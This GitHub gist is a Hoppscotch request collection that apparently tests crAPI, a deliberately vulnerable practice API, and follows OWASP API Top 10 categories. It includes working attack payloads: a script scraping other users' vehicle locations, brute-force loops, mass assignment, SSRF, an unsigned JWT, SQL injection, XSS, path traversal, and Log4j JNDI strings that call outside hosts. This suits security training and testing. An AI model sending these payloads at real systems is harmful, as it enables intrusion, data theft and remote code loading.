Last active
April 27, 2024 14:36
-
-
Save mikeacjones/7ed2dda1f2f23dfe21f2386d77dba57c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[ | |
{ | |
"v": 2, | |
"name": "00 - Sign Ups", | |
"folders": [], | |
"requests": [ | |
{ | |
"v": "4", | |
"name": "Login", | |
"endpoint": "<<crapi-web>>/identity/api/auth/login", | |
"method": "POST", | |
"headers": [ | |
{ | |
"key": "Content-Type", | |
"value": "application/json", | |
"active": true | |
} | |
], | |
"params": [], | |
"auth": { | |
"authType": "none", | |
"authActive": true | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"email\": \"<<crapi_email>>\",\n \"password\": \"<<crapi_password>>\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "const body = pw.response.body\npw.env.set(\"token\", body.token)" | |
}, | |
{ | |
"v": "4", | |
"name": "Create Post", | |
"endpoint": "<<crapi-web>>/community/api/v2/community/posts", | |
"method": "POST", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"content\": \"This is my POST\",\n \"title\": \"My New Post\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
}, | |
{ | |
"v": "4", | |
"name": "Ask OTP", | |
"endpoint": "<<crapi-web>>/identity/api/auth/forget-password", | |
"method": "POST", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\"email\": \"[email protected]\"}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
} | |
], | |
"auth": { | |
"authType": "inherit", | |
"authActive": true | |
}, | |
"headers": [] | |
}, | |
{ | |
"v": 2, | |
"name": "API01:2019 Broken Object Level Authorization", | |
"folders": [], | |
"requests": [ | |
{ | |
"v": "4", | |
"name": "Fetch All Vehicle Locations", | |
"endpoint": "<<crapi-web>>/community/api/v2/community/posts/recent", | |
"method": "GET", | |
"headers": [ | |
{ | |
"key": "Authorization", | |
"value": "Bearer <<token>>", | |
"active": true | |
} | |
], | |
"params": [], | |
"auth": { | |
"authType": "none", | |
"authActive": true | |
}, | |
"body": { | |
"contentType": null, | |
"body": null | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "const posts = pw.response.body\nconst host = pw.env.get(\"crapi-web\")\nconst token = pw.env.get(\"token\")\n\nconst fetchLocation = (vehicleid) => {\n fetch(\n `${host}/identity/api/v2/vehicle/${vehicleid}/location`, \n { \n headers: { \n Authorization: `Bearer ${token}`\n }\n }\n )\n}\n\nposts.forEach(post => {\n if (post.author.vehicleid) {\n fetchLocation(post.author.vehicleid)\n }\n if (post.comments) {\n post.comments.forEach(comment => {\n if (comment.author.vehicleid) {\n fetchLocation(comment.author.vehicleid)\n }\n })\n }\n\n})\npw.env.set(\"vehicleIds\", JSON.stringify(vehicleids))" | |
} | |
], | |
"auth": { | |
"authType": "inherit", | |
"authActive": true | |
}, | |
"headers": [] | |
}, | |
{ | |
"v": 2, | |
"name": "API02:2019 Broken User Authentication", | |
"folders": [], | |
"requests": [ | |
{ | |
"v": "4", | |
"name": "Broken Verification of Expired JWT Token", | |
"endpoint": "<<crapi-web>>/workshop/api/mechanic/mechanic_report", | |
"method": "GET", | |
"headers": [], | |
"params": [ | |
{ | |
"key": "report_id", | |
"value": "<<report_id>>", | |
"active": true | |
} | |
], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<badToken>>" | |
}, | |
"body": { | |
"contentType": null, | |
"body": null | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
}, | |
{ | |
"v": "4", | |
"name": "Broken Authentication", | |
"endpoint": "<<crapi-web>>/workshop/api/mechanic/mechanic_report", | |
"method": "GET", | |
"headers": [], | |
"params": [ | |
{ | |
"key": "report_id", | |
"value": "<<report_id>>", | |
"active": true | |
} | |
], | |
"auth": { | |
"authType": "none", | |
"authActive": true | |
}, | |
"body": { | |
"contentType": null, | |
"body": null | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
} | |
], | |
"auth": { | |
"authType": "inherit", | |
"authActive": true | |
}, | |
"headers": [] | |
}, | |
{ | |
"v": 2, | |
"name": "API04:2019 Lack of Resources & Rate Limiting", | |
"folders": [], | |
"requests": [ | |
{ | |
"v": "4", | |
"name": "Excessive Requests For Non-Existing Resources", | |
"endpoint": "<<crapi-web>>/identity/api/v2/vehicle/<<randomUUID>>/location", | |
"method": "GET", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"content\": \"My car is broken\",\n \"title\": \"hello world\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "const host = pw.env.get(\"crapi-web\")\nconst token = pw.env.get(\"token\")\nconst uuidv4 = () => {\n return \"10000000-1000-4000-8000-100000000000\".replace(/[018]/g, c =>\n (+c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> +c / 4).toString(16)\n )\n}\n\nconst fetch404 = () => {\n fetch(\n `${host}/identity/api/v2/vehicle/${uuidv4()}/location`,\n {\n headers: {\n Authorization: `Bearer ${token}`\n }\n }\n )\n}\n\nconst iterations = pw.env.get(\"brute_force_count\")\nfor (var i = 0; i < iterations; i++) {\n fetch404()\n}", | |
"testScript": "" | |
}, | |
{ | |
"v": "4", | |
"name": "Brute Force", | |
"endpoint": "<<crapi-web>>/identity/api/auth/login", | |
"method": "POST", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "none", | |
"authActive": true | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\"email\": \"<<$randomEmail>>\", \"password\": \"<<$randomPassword>>\"}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
} | |
], | |
"auth": { | |
"authType": "inherit", | |
"authActive": true | |
}, | |
"headers": [] | |
}, | |
{ | |
"v": 2, | |
"name": "API05:2019 Broken Function Level Authorization", | |
"folders": [], | |
"requests": [ | |
{ | |
"v": "4", | |
"name": "Unexpected Request Field", | |
"endpoint": "<<crapi-web>>/workshop/api/shop/orders", | |
"method": "POST", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"product_id\": 1,\n \"quantity\": -1,\n \"is_admin\": true\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
}, | |
{ | |
"v": "4", | |
"name": "Range Violation", | |
"endpoint": "<<crapi-web>>/workshop/api/shop/orders", | |
"method": "POST", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"product_id\": 1,\n \"quantity\": -10000000\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
} | |
], | |
"auth": { | |
"authType": "inherit", | |
"authActive": true | |
}, | |
"headers": [] | |
}, | |
{ | |
"v": 2, | |
"name": "API07:2019 Security Misconfiguration", | |
"folders": [], | |
"requests": [ | |
{ | |
"v": "4", | |
"name": "Server-Side Request Forgery Variation 2", | |
"endpoint": "<<crapi-web>>/workshop/api/merchant/contact_mechanic", | |
"method": "POST", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"mechanic_api\": \"http://localhost:8000/workshop/api/mechanic/receive_report\",\n \"mechanic_code\": \"TRAC_JME\",\n \"number_of_repeats\": 1,\n \"problem_details\": \"asd\",\n \"repeat_request_if_failed\": false,\n \"vin\": \"7GEQK70ITIF544515\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
}, | |
{ | |
"v": "4", | |
"name": "JWT Payload Data Violation", | |
"endpoint": "<<crapi-web>>/community/api/v2/community/posts", | |
"method": "POST", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<badToken>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"content\": \"My car is broken\",\n \"title\": \"hello world\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
} | |
], | |
"auth": { | |
"authType": "inherit", | |
"authActive": true | |
}, | |
"headers": [] | |
}, | |
{ | |
"v": 2, | |
"name": "API08:2019 Injection", | |
"folders": [], | |
"requests": [ | |
{ | |
"v": "4", | |
"name": "JWT Algorithm Manipulation", | |
"endpoint": "<<crapi-web>>/community/api/v2/community/posts", | |
"method": "POST", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "eyJhbGciOiJub25lIn0.eyJzdWIiOiJtYWxpY2lvdXNfZW1haWxfMUBtYWlsLmNvbSIsImlhdCI6MTY0MDYyODgxMSwiZXhwIjoxNzYwNjI4ODExfQ.qna-6H_HG2PKCiU6tc42c_lymEq87WFz57_fSFk909v39x92C_wO_XaFVqttJ4L1OpF5wzrw3D7UoQNi33rc-A" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"content\": \"My car is broken\",\n \"title\": \"hello world\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
}, | |
{ | |
"v": "4", | |
"name": "SQL Injection", | |
"endpoint": "<<crapi-web>>/community/api/v2/community/posts/<<community_post_id>>/comment", | |
"method": "POST", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"content\": \"a' union select 1,2,3 --\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
}, | |
{ | |
"v": "4", | |
"name": "Cross-Site Scripting", | |
"endpoint": "<<crapi-web>>/community/api/v2/community/posts/<<community_post_id>>/comment", | |
"method": "POST", | |
"headers": [], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"content\": \"</script><svg onload=alert(1)>\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
}, | |
{ | |
"v": "4", | |
"name": "Path Traversal", | |
"endpoint": "<<crapi-web>>/workshop/api/mechanic/mechanic_report", | |
"method": "GET", | |
"headers": [], | |
"params": [ | |
{ | |
"key": "report_id", | |
"value": "1", | |
"active": true | |
} | |
], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"user_image\": \"../../../../\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
} | |
], | |
"auth": { | |
"authType": "inherit", | |
"authActive": true | |
}, | |
"headers": [] | |
}, | |
{ | |
"v": 2, | |
"name": "Log4j JNDI Exploitation 2021", | |
"folders": [], | |
"requests": [ | |
{ | |
"v": "4", | |
"name": "Log4j Variation 1", | |
"endpoint": "<<crapi-web>>/community/api/v2/community/posts", | |
"method": "POST", | |
"headers": [ | |
{ | |
"key": "User-Agent", | |
"value": "${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://malicious.com/poc}", | |
"active": true | |
} | |
], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"content\": \"This is my POST\",\n \"title\": \"My New Post\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
}, | |
{ | |
"v": "4", | |
"name": "Log4j Variation 2", | |
"endpoint": "<<crapi-web>>/community/api/v2/community/posts", | |
"method": "POST", | |
"headers": [ | |
{ | |
"key": "User-Agent", | |
"value": "${jndi:ldap://${hostName}.c6s7rhe60tre1mm17i9gcgh86yoyyy6mk.interact.sh/a}", | |
"active": true | |
} | |
], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"content\": \"This is my POST\",\n \"title\": \"My New Post\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
}, | |
{ | |
"v": "4", | |
"name": "Log4j Variation 3", | |
"endpoint": "<<crapi-web>>/community/api/v2/community/posts", | |
"method": "POST", | |
"headers": [ | |
{ | |
"key": "User-Agent", | |
"value": "${jndi:ldap://127.0.0.1:1389/ accessAdversaryClass}", | |
"active": true | |
} | |
], | |
"params": [], | |
"auth": { | |
"authType": "bearer", | |
"authActive": true, | |
"token": "<<token>>" | |
}, | |
"body": { | |
"contentType": "application/json", | |
"body": "{\n \"content\": \"This is my POST\",\n \"title\": \"My New Post\"\n}" | |
}, | |
"requestVariables": [], | |
"preRequestScript": "", | |
"testScript": "" | |
} | |
], | |
"auth": { | |
"authType": "inherit", | |
"authActive": true | |
}, | |
"headers": [] | |
} | |
] |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment